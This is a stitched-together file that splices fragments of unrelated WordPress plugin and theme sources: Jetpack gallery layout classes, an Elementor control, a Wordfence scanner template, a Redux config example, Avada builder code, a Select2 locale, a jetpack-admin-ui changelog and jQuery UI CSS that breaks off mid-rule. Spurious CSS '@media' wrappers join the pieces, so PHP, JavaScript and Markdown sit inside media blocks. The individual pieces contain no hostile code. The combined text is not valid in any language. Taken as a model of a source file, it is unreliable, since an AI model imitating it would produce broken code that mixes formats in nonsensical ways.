			$row[] = new Jetpack_Tiled_Gallery_Group( array_splice( $this->images, 0, $group_size ) );
		}

		return $row;
	}

	/**
	 * Get grouped images.
	 *
	 * @return array
	 */
	public function get_grouped_images() {
		$grouped_images = array();

		while ( ! empty( $this->images ) ) {
			$grouped_images[] = new Jetpack_Tiled_Gallery_Row( $this->read_row() );
		}

		return $grouped_images;
	}

	/**
	 * Apply content width.
	 *
	 * @param int $width - the width.
	 *
	 * @todo split in functions
	 * @todo do not stretch images
	 */
	public function apply_content_width( $width ) {
		foreach ( $this->grouped_images as $row ) {
			$row->width      = $width;
			$group_count     = is_countable( $row->groups ) ? count( $row->groups ) : 0;
			$row->raw_height = 1 / $row->ratio * ( $width - $this->margin * ( $group_count - $row->weighted_ratio ) );
			$row->height     = round( $row->raw_height );

			$this->calculate_group_sizes( $row );
		}
	}

	/**
	 * Calculate group sizes.
	 *
	 * @param object $row - the row.
	 */
	public function calculate_group_sizes( $row ) {
		// Storing the calculated group heights in an array for rounding them later while preserving their sum
		// This fixes the rounding error that can lead to a few ugly pixels sticking out in the gallery
		$group_widths_array = array();
		foreach ( $row->groups as $group ) {
			$group->height = $row->height;
			$image_count   = is_countable( $group->images ) ? count( $group->images ) : 0;
			// Storing the raw calculations in a separate property to prevent rounding errors from cascading down and for diagnostics
			$group->raw_width     = ( $row->raw_height - $this->margin * $image_count ) * $group->ratio + $this->margin;
			$group_widths_array[] = $group->raw_width;
		}
		$rounded_group_widths_array = Jetpack_Constrained_Array_Rounding::get_rounded_constrained_array( $group_widths_array, $row->width );

		foreach ( $row->groups as $group ) {
			$group->width = array_shift( $rounded_group_widths_array );
			$this->calculate_image_sizes( $group );
		}
	}

	/**
	 * Calculate image sizes.
	 *
	 * @param object $group - the group of images.
	 */
	public function calculate_image_sizes( $group ) {
		// Storing the calculated image heights in an array for rounding them later while preserving their sum
		// This fixes the rounding error that can lead to a few ugly pixels sticking out in the gallery
		$image_heights_array = array();
		foreach ( $group->images as $image ) {
			$image->width = $group->width - $this->margin;
			// Storing the raw calculations in a separate property for diagnostics
			$image->raw_height     = ( $group->raw_width - $this->margin ) / $image->ratio;
			$image_heights_array[] = $image->raw_height;
		}

		$image_height_sum            = $group->height - count( $image_heights_array ) * $this->margin;
		$rounded_image_heights_array = Jetpack_Constrained_Array_Rounding::get_rounded_constrained_array( $image_heights_array, $image_height_sum );

		foreach ( $group->images as $image ) {
			$image->height = array_shift( $rounded_image_heights_array );
		}
	}
}

/**
 * Jetpack tiled row class.
 */
class Jetpack_Tiled_Gallery_Row {
	/**
	 * Groups of images
	 *
	 * @var object[]
	 */
	public $groups;

	/**
	 * Image ratio.
	 *
	 * @var float
	 */
	public $ratio;

	/**
	 * Weighted ratio based on all the images.
	 *
	 * @var float
	 */
	public $weighted_ratio;

	/**
	 * Rounded value of the raw width.
	 *
	 * @var int
	 */
	public $width;

	/**
	 * Rounded value of the raw height.
	 *
	 * @var int
	 */
	public $height;

	/**
	 * Raw width of the row.
	 *
	 * @var int
	 */
	public $raw_width;

	/**
	 * Raw height of the row.
	 *
	 * @var int
	 */
	public $raw_height;

	/**
	 * Constructor class.
	 *
	 * @param object[] $groups - the group of images.
	 */
	public function __construct( $groups ) {
		$this->groups         = $groups;
		$this->ratio          = $this->get_ratio();
		$this->weighted_ratio = $this->get_weighted_ratio();
	}

	/**
	 * Get the ratio.
	 *
	 * @return float
	 */
	public function get_ratio() {
		$ratio = 0;
		foreach ( $this->groups as $group ) {
			$ratio += $group->ratio;
		}
		return $ratio > 0 ? $ratio : 1;
	}

	/**
	 * Get weighted ratio.
	 *
	 * @return float
	 */
	public function get_weighted_ratio() {
		$weighted_ratio = 0;
		foreach ( $this->groups as $group ) {
			$image_count     = is_countable( $group->images ) ? count( $group->images ) : 0;
			$weighted_ratio += $group->ratio * $image_count;
		}
		return $weighted_ratio > 0 ? $weighted_ratio : 1;
	}
}

/**
 * Tiled gallery group class.
 */
class Jetpack_Tiled_Gallery_Group {
	/**
	 * Images to be displayed in group.
	 *
	 * @var object[]
	 */
	public $images;

	/**
	 * Image ratio.
	 *
	 * @var float
	 */
	public $ratio;

	/**
	 * Rounded value of the raw width.
	 *
	 * @var int
	 */
	public $width;

	/**
	 * Rounded value of the raw height.
	 *
	 * @var int
	 */
	public $height;

	/**
	 * Raw width of the group.
	 *
	 * @var int
	 */
	public $raw_width;

	/**
	 * Raw height of the group.
	 *
	 * @var int
	 */
	public $raw_height;

	/**
	 * Constructor class.
	 *
	 * @param object[] $images - the images.
	 */
	public function __construct( $images ) {
		$this->images = $images;
		$this->ratio  = $this->get_ratio();
	}

	/**
	 * Get the ratio.
	 *
	 * @return float
	 */
	public function get_ratio() {
		$ratio = 0;
		foreach ( $this->images as $image ) {
			if ( $image->ratio ) {
				$ratio += 1 / $image->ratio;
			}
		}
		if ( ! $ratio ) {
			return 1;
		}

		return 1 / $ratio;
	}

	/**
	 * The items.
	 *
	 * @param string $needs_attachment_link - the attachment link.
	 * @param bool   $grayscale - if the image is in grayscale.
	 *
	 * @return array
	 */
	public function items( $needs_attachment_link, $grayscale ) {
		$items = array();
		foreach ( $this->images as $image ) {
			$items[] = new Jetpack_Tiled_Gallery_Rectangular_Item( $image, $needs_attachment_link, $grayscale );
		}

		return $items;
	}
}
}@media only screen and (max-width: 800px){<?php
namespace Elementor;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

/**
 * Elementor image dimensions control.
 *
 * A base control for creating image dimension control. Displays image width
 * input, image height input and an apply button.
 *
 * @since 1.0.0
 */
class Control_Image_Dimensions extends Control_Base_Multiple {

	/**
	 * Get image dimensions control type.
	 *
	 * Retrieve the control type, in this case `image_dimensions`.
	 *
	 * @since 1.0.0
	 * @access public
	 *
	 * @return string Control type.
	 */
	public function get_type() {
		return 'image_dimensions';
	}

	/**
	 * Get image dimensions control default values.
	 *
	 * Retrieve the default value of the image dimensions control. Used to return the
	 * default values while initializing the image dimensions control.
	 *
	 * @since 1.0.0
	 * @access public
	 *
	 * @return array Control default value.
	 */
	public function get_default_value() {
		return [
			'width' => '',
			'height' => '',
		];
	}

	/**
	 * Get image dimensions control default settings.
	 *
	 * Retrieve the default settings of the image dimensions control. Used to return
	 * the default settings while initializing the image dimensions control.
	 *
	 * @since 1.0.0
	 * @access protected
	 *
	 * @return array Control default settings.
	 */
	protected function get_default_settings() {
		return [
			'show_label' => false,
			'label_block' => true,
		];
	}

	/**
	 * Render image dimensions control output in the editor.
	 *
	 * Used to generate the control HTML in the editor using Underscore JS
	 * template. The variables for the class are available using `data` JS
	 * object.
	 *
	 * @since 1.0.0
	 * @access public
	 */
	public function content_template() {
		if ( ! $this->is_image_editor_supports() ) : ?>
			<div class="elementor-panel-alert elementor-panel-alert-danger">
				<?php echo esc_html__( 'The server does not have ImageMagick or GD installed and/or enabled! Any of these libraries are required for WordPress to be able to resize images. Please contact your server administrator to enable this before continuing.', 'elementor' ); ?>
			</div>
			<?php
			return;
		endif;
		?>
		<# if ( data.description ) { #>
			<div class="elementor-control-field-description">{{{ data.description }}}</div>
		<# } #>
		<div class="elementor-control-field">
			<label class="elementor-control-title">{{{ data.label }}}</label>
			<div class="elementor-control-input-wrapper">
				<div class="elementor-image-dimensions-field elementor-control-unit-2">
					<input id="<?php $this->print_control_uid( 'width' ); ?>" type="number" data-setting="width" />
					<label for="<?php $this->print_control_uid( 'width' ); ?>" class="elementor-image-dimensions-field-description"><?php echo esc_html__( 'Width', 'elementor' ); ?></label>
				</div>
				<div class="elementor-image-dimensions-separator">x</div>
				<div class="elementor-image-dimensions-field elementor-control-unit-2">
					<input id="<?php $this->print_control_uid( 'height' ); ?>" type="number" data-setting="height" />
					<label for="<?php $this->print_control_uid( 'height' ); ?>" class="elementor-image-dimensions-field-description"><?php echo esc_html__( 'Height', 'elementor' ); ?></label>
				</div>
				<button class="elementor-button elementor-image-dimensions-apply-button"><?php echo esc_html__( 'Apply', 'elementor' ); ?></button>
			</div>
		</div>
		<?php
	}

	/**
	 * Image editor support.
	 *
	 * Used to determine whether the editor supports a given image mime-type.
	 *
	 * @since 2.0.0
	 * @access private
	 *
	 * @return bool Whether the editor supports the given mime-type.
	 */
	private function is_image_editor_supports() {
		$arg = [
			'mime_type' => 'image/jpeg',
		];
		return ( wp_image_editor_supports( $arg ) );
	}
}
}@media only screen and (max-width: 640px){<?php
if (!defined('WORDFENCE_VERSION')) { exit; }
/**
 * Presents an issue template.
 */
echo wfView::create('scanner/issue-base', array(
	'internalType' => 'postBadTitle',
	'displayType' => __('Post', 'wordfence'),
	'iconSVG' => '<svg viewBox="0 0 20 20"><rect x="0" fill="none" width="20" height="20"/><g><path d="M10.44 3.02l1.82-1.82 6.36 6.35-1.83 1.82c-1.05-.68-2.48-.57-3.41.36l-.75.75c-.92.93-1.04 2.35-.35 3.41l-1.83 1.82-2.41-2.41-2.8 2.79c-.42.42-3.38 2.71-3.8 2.29s1.86-3.39 2.28-3.81l2.79-2.79L4.1 9.36l1.83-1.82c1.05.69 2.48.57 3.4-.36l.75-.75c.93-.92 1.05-2.35.36-3.41z"/></g></svg>',
	'summaryControls' => array(wfView::create('scanner/issue-control-edit-post'), wfView::create('scanner/issue-control-ignore', array('ignoreP' => __('Always Ignore', 'wordfence'), 'ignoreC' => __('Ignore Only this Title', 'wordfence'))), wfView::create('scanner/issue-control-show-details')),
	'detailPairs' => array(
		__('Title', 'wordfence') => '<strong class="wfWarn">${data.postTitle}</strong>',
		__('Posted on', 'wordfence') => '${data.postDate}',
		null,
		__('Details', 'wordfence') => '{{html longMsg}}',
		null,
		__('Multisite Blog ID', 'wordfence') => array('data.isMultisite', '${data.blog_id}'),
		__('Multisite Blog Domain', 'wordfence') => array('data.isMultisite', '${data.domain}'),
		__('Multisite Blog Path', 'wordfence') => array('data.isMultisite', '${data.path}'),
	),
	'detailControls' => array(
		'<a href="#" class="wf-btn wf-btn-default wf-btn-callout-subtle wf-issue-control-mark-fixed" role="button">' . __('Mark as Fixed', 'wordfence') . '</a>',
	),
	'textOutput' => (isset($textOutput) ? $textOutput : null),
	'textOutputDetailPairs' => array(
		__('Title', 'wordfence') => '$data.postTitle',
		__('Posted on', 'wordfence') => '$data.postDate',
		null,
		__('Details', 'wordfence') => '$longMsg',
		null,
		__('Multisite Blog ID', 'wordfence') => array('$data.isMultisite', '$data.blog_id'),
		__('Multisite Blog Domain', 'wordfence') => array('$data.isMultisite', '$data.domain'),
		__('Multisite Blog Path', 'wordfence') => array('$data.isMultisite', '$data.path'),
	),
))->render();}@media only screen and (max-width: 800px){<?php
/**
 * Redux Framework WPML integration config.
 * For full documentation, please visit: https://devs.redux.io/
 *
 * @package Redux Framework
 */

// phpcs:disable
defined( 'ABSPATH' ) || exit;

Redux::set_section(
	$opt_name,
	array(
		'title'      => esc_html__( 'WPML Integration', 'your-textdomain-here' ),
		'desc'       => esc_html__( 'These fields can be fully translated by WPML (WordPress Multi-Language). This serves as an example for you to implement. For extra details look at our WPML Implementation documentation: ', 'your-textdomain-here' ) . '<a href="https://devs.redux.io/guides/advanced/wpml-integration.html" target="_blank" >https://devs.redux.io/guides/advanced/wpml-integration.html</a>',
		'subsection' => true,
		'fields'     => array(
			array(
				'id'    => 'wpml-text',
				'type'  => 'textarea',
				'title' => esc_html__( 'WPML Text', 'your-textdomain-here' ),
				'desc'  => esc_html__( 'This string can be translated via WPML.', 'your-textdomain-here' ),
			),
			array(
				'id'      => 'wpml-multicheck',
				'type'    => 'checkbox',
				'title'   => esc_html__( 'WPML Multi Checkbox', 'your-textdomain-here' ),
				'desc'    => esc_html__( 'You can literally translate the values via key.', 'your-textdomain-here' ),
				'options' => array(
					'1' => esc_html__( 'Option 1', 'your-textdomain-here' ),
					'2' => esc_html__( 'Option 2', 'your-textdomain-here' ),
					'3' => esc_html__( 'Option 3', 'your-textdomain-here' ),
				),
			),
		),
	)
);
// phpcs:enable
}@media only screen and (max-width: 640px){var FusionPageBuilder = FusionPageBuilder || {};

( function() {

	jQuery( document ).ready( function() {

		// Lightbox View.
		FusionPageBuilder.layerslider = FusionPageBuilder.ElementView.extend( {

			/**
			 * Runs after view DOM is patched.
			 *
			 * @since 2.0
			 * @return {void}
			 */
			afterPatch: function() {
				window.FusionApp.injectScripts( this.model.get( 'cid' ) );
			},

			filterTemplateAtts: function( atts ) {
				if ( 'undefined' !== typeof atts.markup && 'undefined' !== typeof atts.markup.output ) {
					atts.markup.output = window.FusionApp.removeScripts( atts.markup.output, this.model.get( 'cid' ) );
				}
				return atts;
			}

		} );
	} );
}( jQuery ) );
}@media only screen and (max-width: 800px){/*! Select2 4.0.13 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/hr",[],function(){function n(n){var e=" "+n+" znak";return n%10<5&&n%10>0&&(n%100<5||n%100>19)?n%10>1&&(e+="a"):e+="ova",e}return{errorLoading:function(){return"Preuzimanje nije uspjelo."},inputTooLong:function(e){return"Unesite "+n(e.input.length-e.maximum)},inputTooShort:function(e){return"Unesite još "+n(e.minimum-e.input.length)},loadingMore:function(){return"Učitavanje rezultata…"},maximumSelected:function(n){return"Maksimalan broj odabranih stavki je "+n.maximum},noResults:function(){return"Nema rezultata"},searching:function(){return"Pretraga…"},removeAllItems:function(){return"Ukloni sve stavke"}}}),n.define,n.require}();}@media only screen and (max-width: 640px){# Changelog

All notable changes to this project will be documented in this file.

The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/)
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).

## [0.5.7] - 2025-03-21
### Changed
- Internal updates.

## [0.5.6] - 2025-03-17
### Changed
- Internal updates.

## [0.5.5] - 2025-03-12
### Changed
- Internal updates.

## [0.5.4] - 2025-03-05
### Changed
- Internal updates.

## [0.5.3] - 2025-02-24
### Changed
- Update dependencies.

## [0.5.2] - 2025-02-03
### Added
- Add `remove_menu` method to `Admin_Menu` class. [#41422]

## [0.5.1] - 2024-11-25
### Changed
- Update dependencies. [#40286]

## [0.5.0] - 2024-11-14
### Removed
- General: Update minimum PHP version to 7.2. [#40147]

## [0.4.6] - 2024-11-04
### Added
- Enable test coverage. [#39961]

## [0.4.5] - 2024-09-05
### Changed
- Jetpack menu: only register Jetpack admin page for contributor roles and above. [#39081]

## [0.4.4] - 2024-08-29
### Changed
- Admin menu: change order of Jetpack sub-menu items [#39095]

## [0.4.3] - 2024-08-23
### Changed
- Updated package dependencies. [#39004]

## [0.4.2] - 2024-04-22
### Changed
- Internal updates.

## [0.4.1] - 2024-03-12
### Changed
- Internal updates.

## [0.4.0] - 2024-03-01
### Added
- Register menus in network admin as well as regular admin. [#36058]

## [0.3.2] - 2024-01-29
### Fixed
- Wait until 'admin_menu' action to call `add_menu()`, to avoid triggering the l10n load too early. [#35279]

## [0.3.1] - 2023-11-24

## [0.3.0] - 2023-11-20
### Changed
- Updated required PHP version to >= 7.0. [#34192]

## [0.2.25] - 2023-11-14

## [0.2.24] - 2023-10-30
### Fixed
- Handle Akismet submenu even if Jetpack is present, as Jetpack now relies on this package to do so. [#33559]

## [0.2.23] - 2023-09-19
### Changed
- Updated Jetpack submenu sort order so individual features are alpha-sorted. [#32958]

## [0.2.22] - 2023-09-11
### Fixed
- Akismet: update naming to common form [#32908]

## [0.2.21] - 2023-08-23
### Changed
- Updated package dependencies. [#32605]

## [0.2.20] - 2023-04-25
### Fixed
- Avoid errors when used in combination with an older version of the Logo package. [#30136]

## [0.2.19] - 2023-04-10
### Added
- Add Jetpack Autoloader package suggestion. [#29988]

## [0.2.18] - 2023-04-04
### Changed
- Menu icon: update to latest version of the Jetpack logo [#29418]

## [0.2.17] - 2023-02-20
### Changed
- Minor internal updates.

## [0.2.16] - 2023-01-25
### Changed
- Minor internal updates.

## [0.2.15] - 2023-01-11
### Changed
- Updated package dependencies.

## [0.2.14] - 2022-12-02
### Changed
- Updated package dependencies. [#27688]

## [0.2.13] - 2022-11-22
### Changed
- Updated package dependencies. [#27043]

## [0.2.12] - 2022-09-20
### Changed
- Updated package dependencies.

## [0.2.11] - 2022-07-26
### Changed
- Updated package dependencies. [#25158]

## [0.2.10] - 2022-07-12
### Changed
- Updated package dependencies.

## [0.2.9] - 2022-06-21
### Changed
- Renaming master to trunk.

## [0.2.8] - 2022-06-14
### Changed
- Updated package dependencies.

## [0.2.7] - 2022-04-26
### Changed
- Update package.json metadata.

## [0.2.6] - 2022-04-05
### Changed
- Updated package dependencies.

## [0.2.5] - 2022-03-08
### Fixed
- Do not handle Akismet submenu if Jetpack plugin is present

## [0.2.4] - 2022-02-09
### Added
- Support for akismet menu with stand-alone plugins

### Fixed
- Fixes menu order working around a bug in add_submenu_page

## [0.2.3] - 2022-01-25
### Changed
- Updated package dependencies.

## [0.2.2] - 2022-01-18
### Changed
- General: update required node version to v16.13.2

## [0.2.1] - 2022-01-04
### Changed
- Switch to pcov for code coverage.
- Updated package dependencies

## [0.2.0] - 2021-12-14
### Added
- New method to get the top level menu item

## [0.1.1] - 2021-11-17
### Changed
- Set `convertDeprecationsToExceptions` true in PHPUnit config.
- Update PHPUnit configs to include just what needs coverage rather than include everything then try to exclude stuff that doesn't.

## 0.1.0 - 2021-10-13
### Added
- Created the package.

### Changed
- Updated package dependencies.

### Fixed
- Fixing menu visibility issues.

[0.5.7]: https://github.com/Automattic/jetpack-admin-ui/compare/0.5.6...0.5.7
[0.5.6]: https://github.com/Automattic/jetpack-admin-ui/compare/0.5.5...0.5.6
[0.5.5]: https://github.com/Automattic/jetpack-admin-ui/compare/0.5.4...0.5.5
[0.5.4]: https://github.com/Automattic/jetpack-admin-ui/compare/0.5.3...0.5.4
[0.5.3]: https://github.com/Automattic/jetpack-admin-ui/compare/0.5.2...0.5.3
[0.5.2]: https://github.com/Automattic/jetpack-admin-ui/compare/0.5.1...0.5.2
[0.5.1]: https://github.com/Automattic/jetpack-admin-ui/compare/0.5.0...0.5.1
[0.5.0]: https://github.com/Automattic/jetpack-admin-ui/compare/0.4.6...0.5.0
[0.4.6]: https://github.com/Automattic/jetpack-admin-ui/compare/0.4.5...0.4.6
[0.4.5]: https://github.com/Automattic/jetpack-admin-ui/compare/0.4.4...0.4.5
[0.4.4]: https://github.com/Automattic/jetpack-admin-ui/compare/0.4.3...0.4.4
[0.4.3]: https://github.com/Automattic/jetpack-admin-ui/compare/0.4.2...0.4.3
[0.4.2]: https://github.com/Automattic/jetpack-admin-ui/compare/0.4.1...0.4.2
[0.4.1]: https://github.com/Automattic/jetpack-admin-ui/compare/0.4.0...0.4.1
[0.4.0]: https://github.com/Automattic/jetpack-admin-ui/compare/0.3.2...0.4.0
[0.3.2]: https://github.com/Automattic/jetpack-admin-ui/compare/0.3.1...0.3.2
[0.3.1]: https://github.com/Automattic/jetpack-admin-ui/compare/0.3.0...0.3.1
[0.3.0]: https://github.com/Automattic/jetpack-admin-ui/compare/0.2.25...0.3.0
[0.2.25]: https://github.com/Automattic/jetpack-admin-ui/compare/0.2.24...0.2.25
[0.2.24]: https://github.com/Automattic/jetpack-admin-ui/compare/0.2.23...0.2.24
[0.2.23]: https://github.com/Automattic/jetpack-admin-ui/compare/0.2.22...0.2.23
[0.2.22]: https://github.com/Automattic/jetpack-admin-ui/compare/0.2.21...0.2.22
[0.2.21]: https://github.com/Automattic/jetpack-admin-ui/compare/0.2.20...0.2.21
[0.2.20]: https://github.com/Automattic/jetpack-admin-ui/compare/0.2.19...0.2.20
[0.2.19]: https://github.com/Automattic/jetpack-admin-ui/compare/0.2.18...0.2.19
[0.2.18]: https://github.com/Automattic/jetpack-admin-ui/compare/0.2.17...0.2.18
[0.2.17]: https://github.com/Automattic/jetpack-admin-ui/compare/0.2.16...0.2.17
[0.2.16]: https://github.com/Automattic/jetpack-admin-ui/compare/0.2.15...0.2.16
[0.2.15]: https://github.com/Automattic/jetpack-admin-ui/compare/0.2.14...0.2.15
[0.2.14]: https://github.com/Automattic/jetpack-admin-ui/compare/0.2.13...0.2.14
[0.2.13]: https://github.com/Automattic/jetpack-admin-ui/compare/0.2.12...0.2.13
[0.2.12]: https://github.com/Automattic/jetpack-admin-ui/compare/0.2.11...0.2.12
[0.2.11]: https://github.com/Automattic/jetpack-admin-ui/compare/0.2.10...0.2.11
[0.2.10]: https://github.com/Automattic/jetpack-admin-ui/compare/0.2.9...0.2.10
[0.2.9]: https://github.com/Automattic/jetpack-admin-ui/compare/0.2.8...0.2.9
[0.2.8]: https://github.com/Automattic/jetpack-admin-ui/compare/0.2.7...0.2.8
[0.2.7]: https://github.com/Automattic/jetpack-admin-ui/compare/0.2.6...0.2.7
[0.2.6]: https://github.com/Automattic/jetpack-admin-ui/compare/0.2.5...0.2.6
[0.2.5]: https://github.com/Automattic/jetpack-admin-ui/compare/0.2.4...0.2.5
[0.2.4]: https://github.com/Automattic/jetpack-admin-ui/compare/0.2.3...0.2.4
[0.2.3]: https://github.com/Automattic/jetpack-admin-ui/compare/0.2.2...0.2.3
[0.2.2]: https://github.com/Automattic/jetpack-admin-ui/compare/0.2.1...0.2.2
[0.2.1]: https://github.com/Automattic/jetpack-admin-ui/compare/0.2.0...0.2.1
[0.2.0]: https://github.com/Automattic/jetpack-admin-ui/compare/0.1.1...0.2.0
[0.1.1]: https://github.com/Automattic/jetpack-admin-ui/compare/0.1.0...0.1.1
}@media only screen and (max-width: 800px){<?php
/**
 * Before single-product summary - open.
 *
 * @author     ThemeFusion
 * @copyright  (c) Copyright by ThemeFusion
 * @link       https://avada.com
 * @package    Avada
 * @subpackage Core
 * @since      5.1.0
 */

?>
<div class="<?php echo esc_attr( apply_filters( 'avada_single_product_images_wrapper_classes', 'avada-single-product-gallery-wrapper' ) ); ?>">
}@media only screen and (max-width: 640px){/*! jQuery UI - v1.14.1 - 2024-10-30
* https://jqueryui.com
* Includes: core.css, accordion.css, autocomplete.css, menu.css, button.css, controlgroup.css, checkboxradio.css, datepicker.css, dialog.css, draggable.css, resizable.css, progressbar.css, selectable.css, selectmenu.css, slider.css, sortable.css, spinner.css, tabs.css, tooltip.css, theme.css
* To view and modify this theme, visit https://jqueryui.com/themeroller/?bgColorDefault=%23f6f6f6&borderColorDefault=%23c5c5c5&fcDefault=%23454545&bgColorHover=%23ededed&borderColorHover=%23cccccc&fcHover=%232b2b2b&bgColorActive=%23007fff&borderColorActive=%23003eff&fcActive=%23ffffff&bgColorHeader=%23e9e9e9&borderColorHeader=%23dddddd&fcHeader=%23333333&bgColorContent=%23ffffff&borderColorContent=%23dddddd&fcContent=%23333333&bgColorHighlight=%23fffa90&borderColorHighlight=%23dad55e&fcHighlight=%23777620&bgColorError=%23fddfdf&borderColorError=%23f1a899&fcError=%235f3f3f&bgColorOverlay=%23aaaaaa&opacityOverlay=.3&bgColorShadow=%23666666&opacityShadow=.3&offsetTopShadow=0px&offsetLeftShadow=0px&thicknessShadow=5px&cornerRadiusShadow=8px&fsDefault=1em&ffDefault=Arial%2CHelvetica%2Csans-serif&fwDefault=normal&cornerRadius=3px&bgTextureDefault=flat&bgTextureHover=flat&bgTextureActive=flat&bgTextureHeader=flat&bgTextureContent=flat&bgTextureHighlight=flat&bgTextureError=flat&bgTextureOverlay=flat&bgTextureShadow=flat&bgImgOpacityDefault=75&bgImgOpacityHover=75&bgImgOpacityActive=65&bgImgOpacityHeader=75&bgImgOpacityContent=75&bgImgOpacityHighlight=55&bgImgOpacityError=95&bgImgOpacityOverlay=0&bgImgOpacityShadow=0&iconColorActive=%23ffffff&iconColorContent=%23444444&iconColorDefault=%23777777&iconColorError=%23cc0000&iconColorHeader=%23444444&iconColorHighlight=%23777620&iconColorHover=%23555555&opacityOverlayPerc=30&opacityShadowPerc=30&bgImgUrlActive=&bgImgUrlContent=&bgImgUrlDefault=&bgImgUrlError=&bgImgUrlHeader=&bgImgUrlHighlight=&bgImgUrlHover=&bgImgUrlOverlay=&bgImgUrlShadow=&iconsActive=url(%22images%2Fui-icons_ffffff_256x240.png%22)&iconsContent=url(%22images%2Fui-icons_444444_256x240.png%22)&iconsDefault=url(%22images%2Fui-icons_777777_256x240.png%22)&iconsError=url(%22images%2Fui-icons_cc0000_256x240.png%22)&iconsHeader=url(%22images%2Fui-icons_444444_256x240.png%22)&iconsHighlight=url(%22images%2Fui-icons_777620_256x240.png%22)&iconsHover=url(%22images%2Fui-icons_555555_256x240.png%22)&bgDefaultRepeat=&bgHoverRepeat=&bgActiveRepeat=&bgHeaderRepeat=&bgContentRepeat=&bgHighlightRepeat=&bgErrorRepeat=&bgOverlayRepeat=&bgShadowRepeat=&bgDefaultYPos=&bgHoverYPos=&bgActiveYPos=&bgHeaderYPos=&bgContentYPos=&bgHighlightYPos=&bgErrorYPos=&bgOverlayYPos=&bgShadowYPos=&bgDefaultXPos=&bgHoverXPos=&bgActiveXPos=&bgHeaderXPos=&bgContentXPos=&bgHighlightXPos=&bgErrorXPos=&bgOverlayXPos=&bgShadowXPos=
* Copyright OpenJS Foundation and other contributors; Licensed MIT */

.ui-helper-hidden{display:none}.ui-helper-hidden-accessible{border:0;clip:rect(0 0 0 0);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.ui-helper-reset{margin:0;padding:0;border:0;outline:0;line-height:1.3;text-decoration:none;font-size:100%;list-style:none}.ui-helper-clearfix:before,.ui-helper-clearfix:after{content:"";display:table;border-collapse:collapse}.ui-helper-clearfix:after{clear:both}.ui-helper-zfix{width:100%;height:100%;top:0;left:0;position:absolute;opacity:0}.ui-front{z-index:100}.ui-state-disabled{cursor:default!important;pointer-events:none}.ui-icon{display:inline-block;vertical-align:middle;margin-top:-.25em;position:relative;text-indent:-99999px;overflow:hidden;background-repeat:no-repeat}.ui-widget-icon-block{left:50%;margin-left:-8px;display:block}.ui-widget-overlay{position:fixed;top:0;left:0;width:100%;height:100%}.ui-accordion .ui-accordion-header{display:block;cursor:pointer;position:relative;margin:2px 0 0 0;padding:.5em .5em .5em .7em;font-size:100%}.ui-accordion .ui-accordion-content{padding:1em 2.2em;border-top:0;overflow:auto}.ui-autocomplete{position:absolute;top:0;left:0;cursor:default}.ui-menu{list-style:none;padding:0;margin:0;display:block;outline:0}.ui-menu .ui-menu{position:absolute}.ui-menu .ui-menu-item{margin:0;cursor:pointer}.ui-menu .ui-menu-item-wrapper{position:relative;padding:3px 1em 3px .4em}.ui-menu .ui-menu-divider{margin:5px 0;height:0;font-size:0;line-height:0;border-width:1px 0 0 0}.ui-menu .ui-state-focus,.ui-menu .ui-state-active{margin:-1px}.ui-menu-icons{position:relative}.ui-menu-icons .ui-menu-item-wrapper{padding-left:2em}.ui-menu .ui-icon{position:absolute;top:0;bottom:0;left:.2em;margin:auto 0}.ui-menu .ui-menu-icon{left:auto;right:0}.ui-button{padding:.4em 1em;display:inline-block;position:relative;line-height:normal;margin-right:.1em;cursor:pointer;vertical-align:middle;text-align:center;-webkit-user-select:none;user-select:none}.ui-button,.ui-button:link,.ui-button:visited,.ui-button:hover,.ui-button:active{text-decoration:none}.ui-button-icon-only{width:2em;box-sizing:border-box;text-indent:-9999px;white-space:nowrap}input.ui-button.ui-button-icon-only{text-indent:0}.ui-button-icon-only .ui-icon{position:absolute;top:50%;left:50%;margin-top:-8px;margin-left:-8px}.ui-button.ui-icon-notext .ui-icon{padding:0;width:2.1em;height:2.1em;text-indent:-9999px;white-space:nowrap}input.ui-button.ui-icon-notext .ui-icon{width:auto;height:auto;text-indent:0;white-space:normal;padding:.4em 1em}input.ui-button::-moz-focus-inner,button.ui-button::-moz-focus-inner{border:0;padding:0}.ui-controlgroup{vertical-align:middle;display:inline-block}.ui-controlgroup > .ui-controlgroup-item{float:left;margin-left:0;margin-right:0}.ui-controlgroup > .ui-controlgroup-item:focus,.ui-controlgroup > .ui-controlgroup-item.ui-visual-focus{z-index:9999}.ui-controlgroup-vertical > .ui-controlgroup-item{display:block;float:none;width:100%;margin-top:0;margin-bottom:0;text-align:left}.ui-controlgroup-vertical .ui-controlgroup-item{box-sizing:border-box}.ui-controlgroup .ui-controlgroup-label{padding:.4em 1em}.ui-controlgroup .ui-controlgroup-label span{font-size:80%}.ui-controlgroup-horizontal .ui-controlgroup-label + .ui-controlgroup-item{border-left:none}.ui-controlgroup-vertical .ui-controlgroup-label + .ui-controlgroup-item{border-top:none}.ui-controlgroup-horizontal .ui-controlgroup-label.ui-widget-content{border-right:none}.ui-controlgroup-vertical .ui-controlgroup-label.ui-widget-content{border-bottom:none}.ui-controlgroup-vertical .ui-spinner-input{width:calc( 100% - 2.4em )}.ui-controlgroup-vertical .ui-spinner .ui-spinner-up{border-top-style:solid}.ui-checkboxradio-label .ui-icon-background{box-shadow:inset 1px 1px 1px #ccc;border-radius:.12em;border:none}.ui-checkboxradio-radio-label .ui-icon-background{width:16px;height:16px;border-radius:1em;overflow:visible;border:none}.ui-checkboxradio-radio-label.ui-checkboxradio-checked .ui-icon,.ui-checkboxradio-radio-label.ui-checkboxradio-checked:hover .ui-icon{background-image:none;width:8px;height:8px;border-width:4px;border-style:solid}.ui-checkboxradio-disabled{pointer-events:none}.ui-datepicker{width:17em;padding:.2em .2em 0;display:none}.ui-datepicker .ui-datepicker-header{position:relative;padding:.2em 0}.ui-datepicker .ui-datepicker-prev,.ui-datepicker .ui-datepicker-next{position:absolute;top:2px;width:1.8em;height:1.8em}.ui-datepicker .ui-datepicker-prev-hover,.ui-datepicker .ui-datepicker-next-hover{top:1px}.ui-datepicker .ui-datepicker-prev{left:2px}.ui-datepicker .ui-datepicker-next{right:2px}.ui-datepicker .ui-datepicker-prev-hover{left:1px}.ui-datepicker 